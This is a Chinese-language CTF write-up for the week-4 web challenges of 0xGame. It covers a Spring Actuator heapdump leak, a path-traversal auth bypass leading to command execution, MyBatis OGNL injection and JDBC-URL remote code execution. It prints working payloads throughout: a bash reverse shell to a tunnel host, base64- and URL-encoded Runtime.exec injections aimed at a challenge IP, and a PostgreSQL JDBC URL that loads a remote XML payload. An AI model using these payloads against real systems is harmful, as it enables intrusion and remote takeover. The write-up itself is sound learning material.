0xGame week4-WEB wp
0xGame个人结语
完结撒花!!!学到了很多很多,算是我这个WEB菜鸡过渡期的一个见证吧。0xGame虽然也没做出来几道(大嘘),但是一步步跟着复现也学了很多好玩的知识点和思路,希望下次能进化成WEBak哥hhhhhh~~~~
来看最后一周,全是java框架,麻了。
spring
整体不难,hint把解题方法基本写脸上了,网上一搜就是。
【精选】Springboot信息泄露以及heapdump的利用_heapdump漏洞_李白你好的博客-CSDN博客
Springboot之Actuator的渗透测试和漏洞修复_actuator/heapdump_抹香鲸之海的博客-CSDN博客
【精选】Springboot之Actuator信息泄露漏洞利用_actuator/env_Java海的博客-CSDN博客
读env看到这里,那说明我们应该读app.password密码,这个密码就是flag。
用一个java的visualvm工具处理heapdump文件查看泄露信息,但是高版本java没有这个内置的工具了,要去github上自己下。
然后就是OQL里面搜,payload都是现成的(但是另外有个toString的payload我梭不出来,放弃了..)
select s from java.util.LinkedHashMap$Entry s where /app.password/.test(s.key)
找value就有了:
auth_bypass
点进去两眼一抹黑,直接看hint:
首先是这里的/download路由有过滤,把..给ban掉不让路径穿越,而且/download不能直接用,但是搜了下就知道两个/就可以绕过了,即//download。
这是另一个DownloadServlet的文件,结合hint就知道可以实现任意目录下载。
测试一下发现,这个可以下载avatar.jpg,但是不能直接下flag。
题目说是war打包的,这个 war 其实也就相当于压缩包, Tomcat 在部署 war 的时候会将其解压, ⽽压缩包内会存在⼀个 WEB-INF ⽬录,⽬录⾥⾯包含编译好的 .class ⽂件以及 web.xml (保存路由和类的映射关系)
网上搜一下:
我们下载这个web.xml试试:
(%2e就是 . )
注意到这里的EvilServlet,映射的路由为 /You_Find_This_Evil_Servlet_a76f02cb8422
同时看到这里可以用来构造url:
看了下下面的博客,了解到如何利用映射路由下载.class文件:
WEB-INF/web.xml泄露漏洞及其利用-CSDN博客
使用java反编译工具打开class字节码文件,这里我用的是jd-GUI:
Evil_Cmd_Arguments_fe37627fed78 就是我们POST传参的参数名,这就用上了前面的映射路由,显然exec可以RCE。
后面看了官方wp才知道没有回显,还好我直接反弹shell😛:
因为url传参直接传命令传不进去,所以建议先转一个base64然后url编码:
//反弹shell bash -c "bash -i >& /dev/tcp/server.natappfree.cc/41415 0>&1" //url编码后+echo命令结合执行: //先将bash -i 部分base64,然后url编码 bash%20-c%20{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy80MTQxNSAwPiYx}|{base64,-d}|{bash,-i}
也可以用这些脚本网站一键生成:
java.lang.Runtime.exec() Payload Workarounds - @Adminxe
Runtime.exec Payload Generater | AresX's Blog (ares-x.com)
官方wp给出了解释原因:
Java 命令执行之我见-安全客 - 安全资讯平台 (anquanke.com)
唉后面俩题就只能乖乖打复现了,真不会啊....
YourBatis
java有个框架叫Mybatis,应该就是这个题目的知识点。
<dependency> <groupId>org.mybatis.spring.boot</groupId> <artifactId>mybatis-spring-boot-starter</artifactId> <version>2.1.1</version> </dependency>
找到sql注入关键点:
看了参考文章就知道了,这里的username是被直接拼进去的,也就是说有SQL注入/OGNL注入漏洞。
用参考文章的payload,直接反弹shell:
${@java.lang.Runtime@getRuntime().exec("bash -c{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy80MTQxNSAwPiYx}|{base64,-d}|{bash,-i}")}
但官方还有一个hint就是{ }会失败,解释如下:
也就是把这个RCE命令整体再base64一下,得到最终payload:
${@java.lang.Runtime@getRuntime().exec(new java.lang.String(@java.util.Base64@getDecoder().decode('YmFzaCAtYyB7ZWNobyxZbUZ6YUNBdGFTQStKaUF2WkdWMkwzUmpjQzl6WlhKMlpYSXVibUYwWVhCd1puSmxaUzVqWXk4ME1UUXhOU0F3UGlZeH18e2Jhc2U2NCwtZH18e2Jhc2gsLWl9')))}
再url全编码:(这里用了个网上搜的脚本)
源码里能找到传参路由是/user,参数名是username,方式是get:
http://124.71.184.68:50043/user?username=%24%7b%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%40%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%27%59%6d%46%7a%61%43%41%74%59%79%42%37%5a%57%4e%6f%62%79%78%5a%62%55%5a%36%59%55%4e%42%64%47%46%54%51%53%74%4b%61%55%46%32%57%6b%64%57%4d%6b%77%7a%55%6d%70%6a%51%7a%6c%36%57%6c%68%4b%4d%6c%70%59%53%58%56%69%62%55%59%77%57%56%68%43%64%31%70%75%53%6d%78%61%55%7a%56%71%57%58%6b%34%4d%45%31%55%55%58%68%4f%55%30%46%33%55%47%6c%5a%65%48%31%38%65%32%4a%68%63%32%55%32%4e%43%77%74%5a%48%31%38%65%32%4a%68%63%32%67%73%4c%57%6c%39%27%29%29%29%7d
在环境变量里找到flag:
TestConnection
JDBC 就是 Java ⽤于操作数据库的接⼝, 通过⼀个统⼀规范的 JDBC 接⼝可以实现同⼀段代码兼容不同类型数据库的访问。 JDBC URL 就是⽤于连接数据库的字符串, 格式为 jdbc:db-type://host:port/db-name?param=value db-type 就是数据库类型, 例如 postgresql, mysql, mssql, oracle, sqlite db-name 是要使⽤的数据库名param 是要传⼊的参数, ⽐如 user, password, 指定连接时使⽤的编码类型等等 当 jdbc url 可控时, 如果⽬标⽹站使⽤了旧版的数据库驱动, 在特定情况下就可以实现 RCE
参考文章:
MYSQL JDBC反序列化解析 - 跳跳糖 (tttang.com)
PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724) - 先知社区 (aliyun.com)
奇安信攻防社区-PostgreSQL JDBC Driver RCE(CVE-2022-21724)与任意文件写入漏洞利用与分析 (butian.net)
查看pom.xml:
尤其是:
/testConnection?driver=com.mysql.cj.jdbc.Driver&url=jdbc:mysql:///test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&username=deser_CC31_bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy80MTQxNSAwPiYx}|{base64,-d}|{bash,-i}&password=123
怎么越做越有点逆向的味道了???
用这个方法没做出来,但还有个postgresql的方法,再挂个隧道映射一下公网ip,然后写入XML:
payload:
/testConnection?driver=org.postgresql.Driver&url=jdbc:postgresql://127.0.0.1:5432/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://c8zqff.natappfree.cc/poc.xml&username=123&password=123
参数部分url全编码:
/testConnection?driver=org.postgresql.Driver&url=%6a%64%62%63%3a%70%6f%73%74%67%72%65%73%71%6c%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%35%34%33%32%2f%74%65%73%74%3f%73%6f%63%6b%65%74%46%61%63%74%6f%72%79%3d%6f%72%67%2e%73%70%72%69%6e%67%66%72%61%6d%65%77%6f%72%6b%2e%63%6f%6e%74%65%78%74%2e%73%75%70%70%6f%72%74%2e%43%6c%61%73%73%50%61%74%68%58%6d%6c%41%70%70%6c%69%63%61%74%69%6f%6e%43%6f%6e%74%65%78%74%26%73%6f%63%6b%65%74%46%61%63%74%6f%72%79%41%72%67%3d%68%74%74%70%3a%2f%2f%63%38%7a%71%66%66%2e%6e%61%74%61%70%70%66%72%65%65%2e%63%63%2f%70%6f%63%2e%78%6d%6c&username=123&password=123
环境变量拿下flag: